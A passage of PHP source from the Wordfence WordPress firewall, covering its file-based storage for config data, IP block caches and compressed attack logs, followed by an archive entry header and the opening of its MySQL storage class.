		}
		
		fclose($this->configFileHandles[$category]);
		unset($this->configFileHandles[$category]);
		
		if (!empty($category)) { //A non-empty category only closes that config file rather than including the rest of the WAF files.
			return;
		}
		
		fclose($this->ipCacheFileHandle);
		$this->ipCacheFileHandle = null;
		$this->getAttackDataEngine()->close();
	}

	/**
	 * Clean up old expired IP blocks.
	 */
	public function vacuum() {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$this->open();
		$readPointer = wfWAFUtils::strlen(self::LOG_FILE_HEADER);
		$writePointer = wfWAFUtils::strlen(self::LOG_FILE_HEADER);
		fseek($this->ipCacheFileHandle, $readPointer, SEEK_SET);
		self::lock($this->ipCacheFileHandle, LOCK_EX);
		$ipCacheRow = fread($this->ipCacheFileHandle, self::IP_BLOCK_RECORD_SIZE);
		while (!feof($this->ipCacheFileHandle)) {
			$unpacked = @unpack('V', wfWAFUtils::substr($ipCacheRow, 16, 4));
			if (is_array($unpacked)) {
				$expires = array_shift($unpacked);
				if ($expires >= time()) {
					fseek($this->ipCacheFileHandle, $writePointer, SEEK_SET);
					fwrite($this->ipCacheFileHandle, $ipCacheRow);
					$writePointer += self::IP_BLOCK_RECORD_SIZE;
				}
			}
			$readPointer += self::IP_BLOCK_RECORD_SIZE;
			fseek($this->ipCacheFileHandle, $readPointer, SEEK_SET);
			$ipCacheRow = fread($this->ipCacheFileHandle, self::IP_BLOCK_RECORD_SIZE);
		}
		ftruncate($this->ipCacheFileHandle, $writePointer);
		fflush($this->ipCacheFileHandle);
		self::lock($this->ipCacheFileHandle, LOCK_UN);
	}
	
	/**
	 * Remove all existing IP blocks.
	 */
	public function purgeIPBlocks($types = wfWAFStorageInterface::IP_BLOCKS_ALL) {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$this->open();
		$readPointer = wfWAFUtils::strlen(self::LOG_FILE_HEADER);
		$writePointer = wfWAFUtils::strlen(self::LOG_FILE_HEADER);
		fseek($this->ipCacheFileHandle, $readPointer, SEEK_SET);
		self::lock($this->ipCacheFileHandle, LOCK_EX);
		if ($types !== wfWAFStorageInterface::IP_BLOCKS_ALL) {
			$ipCacheRow = fread($this->ipCacheFileHandle, self::IP_BLOCK_RECORD_SIZE);
			while (!feof($this->ipCacheFileHandle)) {
				$unpacked = @unpack('Vexpires/Vtype', wfWAFUtils::substr($ipCacheRow, 16, 8));
				if (is_array($unpacked)) {
					$type = $unpacked['type'];
					if (($type & $types) == 0) {
						fseek($this->ipCacheFileHandle, $writePointer, SEEK_SET);
						fwrite($this->ipCacheFileHandle, $ipCacheRow);
						$writePointer += self::IP_BLOCK_RECORD_SIZE;
					}
				}
				$readPointer += self::IP_BLOCK_RECORD_SIZE;
				fseek($this->ipCacheFileHandle, $readPointer, SEEK_SET);
				$ipCacheRow = fread($this->ipCacheFileHandle, self::IP_BLOCK_RECORD_SIZE);
			}
		}
		ftruncate($this->ipCacheFileHandle, $writePointer);
		fflush($this->ipCacheFileHandle);
		self::lock($this->ipCacheFileHandle, LOCK_UN);
	}

	/**
	 * @param string $key
	 * @param mixed $default
	 * @return mixed
	 */
	public function getConfig($key, $default = null, $category = '') {
		if (!isset($this->data[$category]) || $this->data[$category] === false)
		{
			$this->fetchConfigData($category);
		}
		return (is_array($this->data[$category]) && array_key_exists($key, $this->data[$category])) ? $this->data[$category][$key] : $default;
	}

	/**
	 * @param string $key
	 * @param mixed $value
	 */
	public function setConfig($key, $value, $category = '') {
		if (!isset($this->data[$category]) || $this->data[$category] === false) {
			$this->fetchConfigData($category);
		}
		
		if (is_array($this->data[$category])) {
			if (!isset($this->dataChanged[$category]) && (
					(array_key_exists($key, $this->data[$category]) && $this->data[$category][$key] !== $value) ||
					!array_key_exists($key, $this->data[$category])
				)
			) {
				$this->dataChanged[$category] = array($key, true);
				register_shutdown_function(array($this, 'saveConfig'), $category);
			}
			$this->data[$category][$key] = $value;
		}
	}

	/**
	 * @param string $key
	 */
	public function unsetConfig($key, $category = '') {
		if (!isset($this->data[$category]) || $this->data[$category] === false) {
			$this->fetchConfigData($category);
		}
		if (!isset($this->dataChanged[$category]) && is_array($this->data[$category]) && array_key_exists($key, $this->data[$category])) {
			$this->dataChanged[$category] = array($key, true);
			register_shutdown_function(array($this, 'saveConfig'), $category);
		}
		unset($this->data[$category][$key]);
	}

	/**
	 * @throws wfWAFStorageFileException
	 */
	public function fetchConfigData($category = '', $redoing = false) {
		unset($this->configFileHandles[$category]);
		$this->open($category);
		self::lock($this->configFileHandles[$category], LOCK_SH);
		$i = 0;
		// Attempt to read contents of the config file. This could be in the middle of a write, so we account for it and
		// wait for the operation to complete.
		fseek($this->configFileHandles[$category], wfWAFUtils::strlen(self::LOG_FILE_HEADER), SEEK_SET);
		$serializedData = '';
		while (!feof($this->configFileHandles[$category])) {
			$serializedData .= fread($this->configFileHandles[$category], 1024);
		}
		if (wfWAFUtils::substr($serializedData, 0, 1) == '*') {
			$serializedData = wfWAFUtils::substr($serializedData, wfWAFUtils::strlen(self::LOG_INFO_HEADER));
		}
		$this->data[$category] = @unserialize($serializedData);

		if ($this->data[$category] === false) {
			if (!empty($category) && !$redoing) {
				$this->regenerateConfigFile($category);
				$this->fetchConfigData($category, true);
				return;
			}
			throw new wfWAFStorageFileConfigException('Error reading Wordfence Firewall config data, configuration file could be corrupted or inaccessible. Path: ' . $this->pathForConfig($category));
		}

		self::lock($this->configFileHandles[$category], LOCK_UN);
	}

	/**
	 * @throws wfWAFStorageFileException
	 */
	public function saveConfig($category = '') {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		if (WFWAF_DEBUG) {
			error_log('Saving WAF config for change in key ' . $this->dataChanged[$category][0] . ', value: ' .
				((is_object($this->data[$category][$this->dataChanged[$category][0]]) || $this->dataChanged[$category][0] === 'cron') ?
					gettype($this->data[$category][$this->dataChanged[$category][0]]) :
					var_export($this->data[$category][$this->dataChanged[$category][0]], true)));
		}

		if ($this->uninstalled) {
			return;
		}

		if (WFWAF_IS_WINDOWS) {
			self::lock($this->configFileHandles[$category], LOCK_UN);
			fclose($this->configFileHandles[$category]);
			file_put_contents($this->pathForConfig($category), self::LOG_FILE_HEADER . self::LOG_INFO_HEADER . serialize($this->data[$category]), LOCK_EX);
		} else {
			wfWAFStorageFile::atomicFilePutContents($this->pathForConfig($category), self::LOG_FILE_HEADER . self::LOG_INFO_HEADER . serialize($this->data[$category]));
		}

		if (WFWAF_IS_WINDOWS) {
			$this->configFileHandles[$category] = fopen($this->pathForConfig($category), 'r+');
		}
	}

	/**
	 *
	 */
	public function uninstall() {
		$this->uninstalled = true;
		$this->close();
		foreach ($this->configFileHandles as $key => $handle) {
			$this->close($key);
		}
		$this->removeConfigFiles();
		@unlink($this->getAttackDataFile());
		@unlink($this->getIPCacheFile());
		@unlink($this->getRulesDSLCacheFile());
	}
	
	public function fileList() {
		$fileList = array();
		$fileList[] = $this->getAttackDataFile();
		$fileList[] = $this->getIPCacheFile();
		if (defined('WFWAF_DEBUG') && WFWAF_DEBUG) {
			$fileList[] = $this->getRulesDSLCacheFile();
		}
		$fileList[] = $this->getConfigFile();
		$configDir = dirname($this->getConfigFile());
		$dir = opendir($configDir);
		if ($dir) {
			$escapedPath = preg_quote($this->_normalizeSlashes($this->getConfigFile()), '/');
			$components = explode('\\/', $escapedPath);
			$pattern = $components[count($components) - 1];
			if (preg_match('/^(.+?)(\\\..+$|$)/i', $pattern, $matches)) {
				$pattern = $matches[1] . '\\-[a-z0-9]+' . $matches[2]; //Results in a pattern like config\-[a-z0-9]\.php
			}
			
			while ($path = readdir($dir)) {
				if ($path == '.' || $path == '..') { continue; }
				if (is_dir($configDir . '/' . $path)) { continue; }
				if (preg_match('/^' . $pattern . '$/i', $path)) {
					$fileList[] = $configDir . '/' . $path;
				}
			}
			closedir($dir);
		}
		return $fileList;
	}
	
	public function removeConfigFiles() {
		@unlink($this->getConfigFile());
		$configDir = dirname($this->getConfigFile());
		$dir = opendir($configDir);
		if ($dir) {
			$escapedPath = preg_quote($this->_normalizeSlashes($this->getConfigFile()), '/');
			$components = explode('\\/', $escapedPath);
			$pattern = $components[count($components) - 1];
			if (preg_match('/^(.+?)(\\\..+$|$)/i', $pattern, $matches)) {
				$pattern = $matches[1] . '\\-[a-z0-9]+' . $matches[2]; //Results in a pattern like config\-[a-z0-9]\.php
			}
			
			while ($path = readdir($dir)) {
				if ($path == '.' || $path == '..') { continue; }
				if (is_dir($configDir . '/' . $path)) { continue; }
				if (preg_match('/^' . $pattern . '$/i', $path)) {
					@unlink($configDir . '/' . $path);
				}
			}
			closedir($dir);
		}
	}
	
	public function regenerateConfigFile($category = '') {
		$path = $this->pathForConfig($category);
		if (file_exists($path)) {
			@unlink($path);
		}
		
		$this->_open($path, $this->configFileHandles, $category, self::LOG_FILE_HEADER . self::LOG_INFO_HEADER . serialize($this->getDefaultConfiguration($category)), false);
	}
	
	protected function _normalizeSlashes($path) {
		return str_replace('\\', '/', $path); //The same sanitation performed by WordPress -- PHP can handle both, but it simplifies path processing
	}

	/**
	 * @return bool
	 */
	public function isInLearningMode() {
		if ($this->getConfig('wafStatus', '') == 'learning-mode') {
			if ($this->getConfig('learningModeGracePeriodEnabled', false)) {
				if ($this->getConfig('learningModeGracePeriod', 0) > time()) {
					return true;
				}
			} else {
				return true;
			}
		}
		return false;
	}

	public function isDisabled() {
		return $this->getConfig('wafStatus', '') === 'disabled' || $this->getConfig('wafDisabled', 0);
	}

	/**
	 * @return array
	 */
	public function getDefaultConfiguration($category = '') {
		if (empty($category)) {
			return array(
				'wafStatus'                      => 'learning-mode',
				'learningModeGracePeriodEnabled' => 1,
				'learningModeGracePeriod'        => time() + (86400 * 7),
				'authKey'                        => wfWAFUtils::getRandomString(64),
			);
		}
		return array();
	}

	/**
	 * @return mixed
	 */
	public function getConfigFile() {
		return $this->configFile;
	}

	/**
	 * @param mixed $configFile
	 */
	public function setConfigFile($configFile) {
		$this->configFile = $configFile;
	}

	/**
	 * @return string|null
	 */
	public function getAttackDataFile() {
		return $this->attackDataFile;
	}

	/**
	 * @param string|null $attackDataFile
	 */
	public function setAttackDataFile($attackDataFile) {
		$this->attackDataFile = $attackDataFile;
	}

	/**
	 * @return string|null
	 */
	public function getIPCacheFile() {
		return $this->ipCacheFile;
	}

	/**
	 * @param string|null $ipCacheFile
	 */
	public function setIPCacheFile($ipCacheFile) {
		$this->ipCacheFile = $ipCacheFile;
	}

	/**
	 * @return mixed
	 */
	public function getRulesDSLCacheFile() {
		return $this->rulesDSLCacheFile;
	}

	/**
	 * @param mixed $rulesDSLCacheFile
	 */
	public function setRulesDSLCacheFile($rulesDSLCacheFile) {
		$this->rulesDSLCacheFile = $rulesDSLCacheFile;
	}

	/**
	 * param key, param value, request string
	 *
	 * @var array
	 */
	private $rowsToB64 = array(3, 4, 7);

	/**
	 * @param $row
	 * @return bool|string
	 */
	private function serializeRow($row) {
		foreach ($this->rowsToB64 as $index) {
			if (array_key_exists($index, $row)) {
				$row[$index] = base64_encode((string) $row[$index]);
			}
		}
		$row = wfWAFUtils::json_encode($row);
		if (is_string($row) && wfWAFUtils::strlen($row) > 0) {
			return $row;
		}
		return false;
	}

	/**
	 * @param $row
	 * @return array|bool|mixed|object
	 */
	private function unserializeRow($row) {
		if ($row) {
			$json = wfWAFUtils::json_decode($row, true);
			if (is_array($json)) {
				foreach ($this->rowsToB64 as $index) {
					if (array_key_exists($index, $json)) {
						$json[$index] = base64_decode((string) $json[$index]);
					}
				}
				return $json;
			}
		}
		return false;
	}

	/**
	 * @return wfWAFAttackDataStorageFileEngine
	 */
	public function getAttackDataEngine() {
		return $this->attackDataEngine;
	}

	/**
	 * @param wfWAFAttackDataStorageFileEngine $attackDataEngine
	 */
	public function setAttackDataEngine($attackDataEngine) {
		$this->attackDataEngine = $attackDataEngine;
	}

	public function getRules() {
		throw new wfWAFStorageFileException('wfWAFStorageFile::getRules not implemented.');
	}

	public function setRules($rules) {
		throw new wfWAFStorageFileException('wfWAFStorageFile::getRules not implemented.');
	}

	public function needsInitialRules() {
		if (file_exists($this->getRulesFile())) {
			return is_writeable($this->getRulesFile()) && !filesize($this->getRulesFile());
		} else {
			return is_writeable(dirname($this->getRulesFile()));
		}
	}

	/**
	 * @return mixed
	 */
	public function getRulesFile() {
		return $this->rulesFile;
	}

	/**
	 * @param mixed $rulesFile
	 */
	public function setRulesFile($rulesFile) {
		$this->rulesFile = $rulesFile;
	}

	public function getDescription() {
		return __('file system', 'wordfence');
	}
}

class wfWAFAttackDataStorageFileEngine {

	const MAX_ROWS = 10000;
	const MAX_READ_LENGTH = 51200;
	const FILE_SIGNATURE = "wfWAF\x00\x00\x00";

	/**
	 * @param string|float|null $microtime
	 * @return string
	 */
	public static function packMicrotime($microtime = null) {
		if ($microtime === null) {
			$microtime = microtime();
		}
		if (is_string($microtime)) {
			list($msec, $sec) = explode(' ', $microtime, 2);
		} else if (is_float($microtime)) {
			list($sec, $msec) = explode('.', (string) $microtime, 2);
			$msec = '0.' . $msec;
		} else {
			throw new InvalidArgumentException(__METHOD__ . ' $microtime expected to be string or float, received '
				. gettype($microtime));
		}
		$msec = $msec * 1000000;
		return pack('V*', $sec, $msec);
	}

	/**
	 * @param string $binary
	 * @return string
	 */
	public static function unpackMicrotime($binary) {
		if (!is_string($binary) || wfWAFUtils::strlen($binary) !== 8) {
			throw new InvalidArgumentException(__METHOD__ . ' $binary expected to be string with length of 8, received '
				. gettype($binary) . (is_string($binary) ? ' of length ' . wfWAFUtils::strlen($binary) : ''));
		}
		list(, $attackLogSeconds, $attackLogMicroseconds) = @unpack('V*', $binary);
		return sprintf('%d.%s', $attackLogSeconds, str_pad($attackLogMicroseconds, 6, '0', STR_PAD_LEFT));
	}

	public static function getCompressionAlgos() {
		static $compressionFunctions;
		if ($compressionFunctions === null) {
			$compressionFunctions = array(
				new wfWAFStorageFileCompressionGZDeflate(),
				new wfWAFStorageFileCompressionGZCompress(),
				new wfWAFStorageFileCompressionGZEncode(),
			);
		}
		return $compressionFunctions;
	}

	/**
	 * @param string $decompressed
	 * @return mixed
	 */
	public static function compress($decompressed) {
		if (empty($decompressed))
			return $decompressed;

		$compressionAlgos = self::getCompressionAlgos();
		/** @var wfWAFStorageFileCompressionAlgo $algo */
		foreach ($compressionAlgos as $algo) {
			if ($algo->isUsable() && ($compressed = $algo->testCompression($decompressed)) !== false) {
				return $compressed;
			}
		}
		return $decompressed;
	}

	/**
	 * @param string $compressed
	 * @return mixed
	 */
	public static function decompress($compressed) {
		if (empty($compressed))
			return $compressed;

		$compressionAlgos = self::getCompressionAlgos();
		/** @var wfWAFStorageFileCompressionAlgo $algo */
		foreach ($compressionAlgos as $algo) {
			if ($algo->isUsable() && ($decompressed = $algo->decompress($compressed)) !== false) {
				return $decompressed;
			}
		}
		return $compressed;
	}


	private $file;
	private $fileHandle;

	private $header = array();
	private $offsetTable = array();

	/**
	 * wfWAFStorageFileEngine constructor.
	 * @param string $file
	 */
	public function __construct($file) {
		$this->file = $file;
	}

	/**
	 * @throws wfWAFStorageFileException
	 */
	public function open() {
		if (is_resource($this->fileHandle)) {
			return;
		}
		if (!file_exists($this->file)) {
			@file_put_contents($this->file, $this->getDefaultHeader(), LOCK_EX);
		}
		if (wfWAFStorageFile::allowFileWriting()) {
			@chmod($this->file, wfWAFStorageFile::permissions());
		}
		$this->fileHandle = @fopen($this->file, 'r+');
		if (!$this->fileHandle) {
			throw new wfWAFStorageFileException('Unable to open ' . $this->file . ' for reading and writing.');
		}
	}

	/**
	 *
	 */
	public function close() {
		if (is_resource($this->fileHandle)) {
			fclose($this->fileHandle);
		}
		$this->fileHandle = null;
		$this->header = array();
		$this->offsetTable = array();
	}

	/**
	 * @param int $offset
	 * @return int
	 */
	private function seek($offset) {
		return fseek($this->fileHandle, $offset, SEEK_SET);
	}

	/**
	 * @return int
	 */
	private function seekToData() {
		return $this->seek(wfWAFUtils::strlen($this->getHeaderLength()));
	}

	/**
	 * @param int $length
	 * @return string
	 */
	private function read($length) {
		if ($length > self::MAX_READ_LENGTH) {
			$length = self::MAX_READ_LENGTH;
		}
		return fread($this->fileHandle, $length);
	}

	/**
	 * @param string $data
	 * @return int
	 */
	private function write($data) {
		return fwrite($this->fileHandle, $data);
	}

	/**
	 * @return bool
	 */
	private function lockRead() {
		return wfWAFStorageFile::lock($this->fileHandle, LOCK_SH);
	}

	/**
	 * @return bool
	 */
	private function lockWrite() {
		return wfWAFStorageFile::lock($this->fileHandle, LOCK_EX);
	}

	/**
	 * @return bool
	 */
	private function unlock() {
		return wfWAFStorageFile::lock($this->fileHandle, LOCK_UN);
	}

	/**
	 * @return int
	 */
	public function getHeaderLength() {
		return wfWAFUtils::strlen($this->getDefaultHeader());
	}

	/**
	 * @return string
	 */
	public function getDefaultHeader() {
		/**
		 * 51   PHP die() header
		 * 8    Signature
		 * 8    oldest 64bit timestamp
		 * 8    newest 64bit timestamp
		 * 4    row count
		 * 1600 offset table
		 * 1    last length
		 */
		$headerLength = wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE)
			+ 8 + 8 + 4 + (self::MAX_ROWS * 4);
		return wfWAFStorageFile::LOG_FILE_HEADER
		. self::FILE_SIGNATURE
		. str_repeat("\x00", 8 + 8 + 4)
		. pack('V', $headerLength)
		. str_repeat("\x00", self::MAX_ROWS * 4);
	}

	/**
	 * @throws wfWAFStorageFileException
	 */
	public function unpackHeader() {
		if ($this->header) {
			return $this->header;
		}

		$this->open();
		$this->header = array();
		$this->seek(0);
		$this->lockRead();
		$this->header['phpHeader'] = $this->read(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER));
		$this->header['signature'] = $this->read(wfWAFUtils::strlen(self::FILE_SIGNATURE));
		if ($this->header['phpHeader'] !== wfWAFStorageFile::LOG_FILE_HEADER || $this->header['signature'] !== self::FILE_SIGNATURE) {
			$this->unlock();
			$this->truncate();
			$this->lockRead();
			$this->seek(0);
			$this->lockRead();
			$this->header['phpHeader'] = $this->read(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER));
			$this->header['signature'] = $this->read(wfWAFUtils::strlen(self::FILE_SIGNATURE));
		}
		$this->header['oldestTimestamp'] = self::unpackMicrotime($this->read(8));
		$this->header['newestTimestamp'] = self::unpackMicrotime($this->read(8));
		list(, $this->header['rowCount']) = @unpack('V', $this->read(4));
		$this->header['offsetTable'] = $this->unpackOffsetTable();
		$this->unlock();
		return $this->header;
	}

	/**
	 * @return array
	 */
	private function unpackOffsetTable() {
		if ($this->offsetTable) {
			return $this->offsetTable;
		}
		$rowCount = min($this->header['rowCount'], self::MAX_ROWS);
		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8 + 8 + 4);
		$offsetTableBinary = $this->read(($rowCount + 1) * 4);
		$this->offsetTable = array_values(@unpack('V*', $offsetTableBinary));
		return $this->offsetTable;
	}

	/**
	 * @param callable $callback
	 */
	public function scanRows($callback) {
		if (!is_callable($callback)) {
			throw new InvalidArgumentException(__METHOD__ . ' $callback expected to be callable, received ' . gettype($callback));
		}
		$this->open();
		$header = $this->unpackHeader();
		$this->seekToData();
		for ($index = 0; $index < $header['rowCount'] && $index < self::MAX_ROWS; $index++) {
			$offset = $header['offsetTable'][$index];
			$length = $header['offsetTable'][$index + 1] - $offset;
			if ($length > self::MAX_READ_LENGTH) {
				$length = self::MAX_READ_LENGTH;
			}
			$result = call_user_func($callback, $this->fileHandle, $offset, $length);
			if ($result === false) {
				break;
			}
		}
	}

	/**
	 * @param callable $callback
	 */
	public function scanRowsReverse($callback) {
		if (!is_callable($callback)) {
			throw new InvalidArgumentException(__METHOD__ . ' $callback expected to be callable, received ' . gettype($callback));
		}
		$this->open();
		$header = $this->unpackHeader();
		// $this->seekToData();
		for ($index = min($header['rowCount'], self::MAX_ROWS) - 1; $index >= 0; $index--) {
			$offset = $header['offsetTable'][$index];
			$length = $header['offsetTable'][$index + 1] - $offset;
			if ($length > self::MAX_READ_LENGTH) {
				$length = self::MAX_READ_LENGTH;
			}
			$result = call_user_func($callback, $this->fileHandle, $offset, $length);
			if ($result === false) {
				break;
			}
		}
	}

	/**
	 * @param $index
	 * @return wfWAFAttackDataStorageFileEngineRow
	 * @throws wfWAFStorageFileException
	 */
	public function getRow($index) {
		$this->open();
		$this->header = array();
		$this->offsetTable = array();
		$header = $this->unpackHeader();
		$this->seekToData();
		if ($index < $header['rowCount'] && $index >= 0) {
			$offset = $header['offsetTable'][$index];
			$length = $header['offsetTable'][$index + 1] - $offset;
		} else {
			return false;
		}
		$this->seek($offset);
		$this->lockRead();
		$binary = $this->read($length);
		$this->unlock();
		return wfWAFAttackDataStorageFileEngineRow::unpack($binary);
	}

	/**
	 * @return mixed
	 * @throws wfWAFStorageFileException
	 */
	public function getRowCount() {
		$this->open();
		$header = $this->unpackHeader();
		return $header['rowCount'];
	}

	/**
	 * @param wfWAFAttackDataStorageFileEngineRow $row
	 * @return bool
	 * @throws wfWAFStorageFileException
	 */
	public function addRow($row) {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$this->open();

		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8 + 8);
		$this->lockRead();
		list(, $rowCount) = @unpack('V', $this->read(4));
		$this->unlock();
		if ($rowCount >= self::MAX_ROWS) {
			return false;
		}
		
		$this->lockWrite();
		
		//Re-read the row count in case it changed between releasing the shared lock and getting the exclusive
		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8 + 8);
		list(, $rowCount) = @unpack('V', $this->read(4));

		//Start the write
		$this->header = array();
		$this->offsetTable = array();

		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8 + 8 + 4 + ($rowCount * 4));
		list(, $nextRowOffset) = @unpack('V', $this->read(4));

		$rowString = $row->pack();

		// Update offset table
		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8 + 8 + 4 + (($rowCount + 1) * 4));
		$this->write(pack('V', $nextRowOffset + wfWAFUtils::strlen($rowString)));

		// Update rowCount
		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8 + 8);
		$this->write(pack('V', $rowCount + 1));

		// Write data
		$this->seek($nextRowOffset);
		$packedTimestamp = wfWAFUtils::substr($rowString, 0, 8);
		$this->write($rowString);

		// Update oldest timestamp
		if ($rowCount === 0) {
			$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE));
			$this->write($packedTimestamp);
		}

		// Update newest timestamp
		$this->seek(wfWAFUtils::strlen(wfWAFStorageFile::LOG_FILE_HEADER) + wfWAFUtils::strlen(self::FILE_SIGNATURE) + 8);
		$this->write($packedTimestamp);

		$this->unlock();

		$this->header = array();
		$this->offsetTable = array();

		return true;
	}

	/**
	 *
	 */
	public function truncate() {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$defaultHeader = $this->getDefaultHeader();
		$this->close();
		if (WFWAF_IS_WINDOWS) {
			file_put_contents($this->getFile(), $defaultHeader, LOCK_EX);
		} else {
			wfWAFStorageFile::atomicFilePutContents($this->getFile(), $defaultHeader, 'attack');
		}
		$this->header = array();
		$this->offsetTable = array();
		$this->open();
	}

	/**
	 * @return mixed
	 * @throws wfWAFStorageFileException
	 */
	public function getOldestTimestamp() {
		$this->open();
		if ($this->getRowCount() === 0) {
			return false;
		}
		$header = $this->unpackHeader();
		return $header['oldestTimestamp'];
	}

	/**
	 * @return mixed
	 * @throws wfWAFStorageFileException
	 */
	public function getNewestTimestamp() {
		$this->open();
		if ($this->getRowCount() === 0) {
			return false;
		}
		$header = $this->unpackHeader();
		return $header['newestTimestamp'];
	}

	/**
	 * @return string
	 */
	public function getFile() {
		return $this->file;
	}

	/**
	 * @param string $file
	 */
	public function setFile($file) {
		$this->file = $file;
	}
}

interface wfWAFAttackDataStorageFileEngineScanRowCallback {

	public function scanRow($handle, $offset, $length);
}

class wfWAFAttackDataStorageFileEngineResultSet implements wfWAFAttackDataStorageFileEngineScanRowCallback {

	private $rows = array();

	public function scanRow($handle, $offset, $length) {
		fseek($handle, $offset);
		$binary = fread($handle, $length);
		$this->rows = wfWAFAttackDataStorageFileEngineRow::unpack($binary);
	}

	/**
	 * @return array
	 */
	public function getRows() {
		return $this->rows;
	}
}

class wfWAFAttackDataStorageFileEngineScanRowAttackDataNewer implements wfWAFAttackDataStorageFileEngineScanRowCallback {

	/**
	 * @var int
	 */
	private $newerThan;

	/**
	 * wfWAFStorageFileEngineScanRowAttackDataNewer constructor.
	 * @param int $newerThan
	 */
	public function __construct($newerThan) {
		$this->newerThan = $newerThan;
	}

	/**
	 * @param resource $handle
	 * @param int $offset
	 * @param int $length
	 * @return bool
	 */
	public function scanRow($handle, $offset, $length) {
		$attackLogTimeBin = fread($handle, 8);
		list(, $attackLogSeconds, $attackLogMicroseconds) = @unpack('VV', $attackLogTimeBin);
		$attackLogTime = $attackLogSeconds . '.' . $attackLogMicroseconds;
		return $this->newerThan < $attackLogTime;
	}
}

class wfWAFAttackDataStorageFileEngineScanRowAttackDataOlder implements wfWAFAttackDataStorageFileEngineScanRowCallback {

	/**
	 * @var int
	 */
	private $olderThan;

	/**
	 * wfWAFStorageFileEngineScanRowAttackDataNewer constructor.
	 * @param int $olderThan
	 */
	public function __construct($olderThan) {
		$this->olderThan = $olderThan;
	}

	/**
	 * @param resource $handle
	 * @param int $offset
	 * @param int $length
	 * @return bool
	 */
	public function scanRow($handle, $offset, $length) {
		$attackLogTimeBin = fread($handle, 8);
		list(, $attackLogSeconds, $attackLogMicroseconds) = @unpack('VV', $attackLogTimeBin);
		$attackLogTime = $attackLogSeconds . '.' . $attackLogMicroseconds;
		return $this->olderThan > $attackLogTime;
	}
}

class wfWAFAttackDataStorageFileEngineRow {

	/**
	 * @param string $binary
	 * @return wfWAFAttackDataStorageFileEngineRow
	 */
	public static function unpack($binary) {
		$attackLogTime = wfWAFAttackDataStorageFileEngine::unpackMicrotime(wfWAFUtils::substr($binary, 0, 8));
		$data = wfWAFAttackDataStorageFileEngine::decompress(wfWAFUtils::substr($binary, 8));
		return new self($attackLogTime, $data);
	}

	/**
	 * @var float|string
	 */
	private $timestamp;
	/**
	 * @var string
	 */
	private $data;

	/**
	 * @param float $timestamp
	 * @param string $data
	 */
	public function __construct($timestamp, $data) {
		$this->timestamp = $timestamp;
		$this->data = $data;
	}

	/**
	 * @return string
	 */
	public function pack() {
		return wfWAFAttackDataStorageFileEngine::packMicrotime($this->getTimestamp()) . wfWAFAttackDataStorageFileEngine::compress($this->getData());
	}

	/**
	 * @return float|string
	 */
	public function getTimestamp() {
		return $this->timestamp;
	}

	/**
	 * @param float|string $timestamp
	 */
	public function setTimestamp($timestamp) {
		$this->timestamp = $timestamp;
	}

	/**
	 * @return string
	 */
	public function getData() {
		return $this->data;
	}

	/**
	 * @param string $data
	 */
	public function setData($data) {
		$this->data = $data;
	}
}

abstract class wfWAFStorageFileCompressionAlgo {

	abstract public function isUsable();

	abstract public function compress($string);

	abstract public function decompress($binary);

	/**
	 * @param string $string
	 * @return bool
	 */
	public function testCompression($string) {
		$compressed = $this->compress($string);
		if ($string === $this->decompress($compressed)) {
			return $compressed;
		}
		return false;
	}
}

class wfWAFStorageFileCompressionGZDeflate extends wfWAFStorageFileCompressionAlgo {

	public function isUsable() {
		return function_exists('gzinflate') && function_exists('gzdeflate');
	}

	public function compress($string) {
		return @gzdeflate($string);
	}

	public function decompress($binary) {
		return @gzinflate($binary);
	}
}

class wfWAFStorageFileCompressionGZCompress extends wfWAFStorageFileCompressionAlgo {

	public function isUsable() {
		return function_exists('gzuncompress') && function_exists('gzcompress');
	}

	public function compress($string) {
		return @gzcompress($string);
	}

	public function decompress($binary) {
		return @gzuncompress($binary);
	}
}

class wfWAFStorageFileCompressionGZEncode extends wfWAFStorageFileCompressionAlgo {

	public function isUsable() {
		return function_exists('gzencode') && function_exists('gzdecode');
	}

	public function compress($string) {
		return @gzencode($string);
	}

	public function decompress($binary) {
		return @gzdecode($binary);
	}
}

class wfWAFStorageFileException extends wfWAFException {

}

class wfWAFStorageFileConfigException extends wfWAFStorageFileException {

}
}PK       !  ;w  ;w    storage/mysql.phpnu [        <?php

/**
 *
 */
class wfWAFStorageMySQL implements wfWAFStorageInterface {

	private $_usingLowercase;

	/**
	 * @var wfWAFStorageEngineDatabase
	 */
	private $db;
	/**
	 * @var string
	 */
	private $tablePrefix;
	private $uninstalled;
	private $dataChanged = false;
	private $data = array();
	private $dataToSave = array();
	private $shutdownRegistry = null;
	
	/**
	 * @var array Represents the in-memory serialization status of a value in $data. When $serializedStatus contains a truthy value for a key, it means the value associated with that key in $data is deserialized. Only applicable to keys in `getSerializedParams()`
	 */
	private $serializedStatus = array();

	public $installing = false;

	/**
	 * @param wfWAFStorageEngineDatabase $engine
	 * @param string $tablePrefix
	 */
	public function __construct($engine, $tablePrefix = 'wp_', $shutdownRegistry = null) {
		$this->db = $engine;
		$this->tablePrefix = $tablePrefix;
		$this->shutdownRegistry = $shutdownRegistry === null ? wfShutdownRegistry::getDefaultInstance() : $shutdownRegistry;
	}

	public function usingLowercase() {
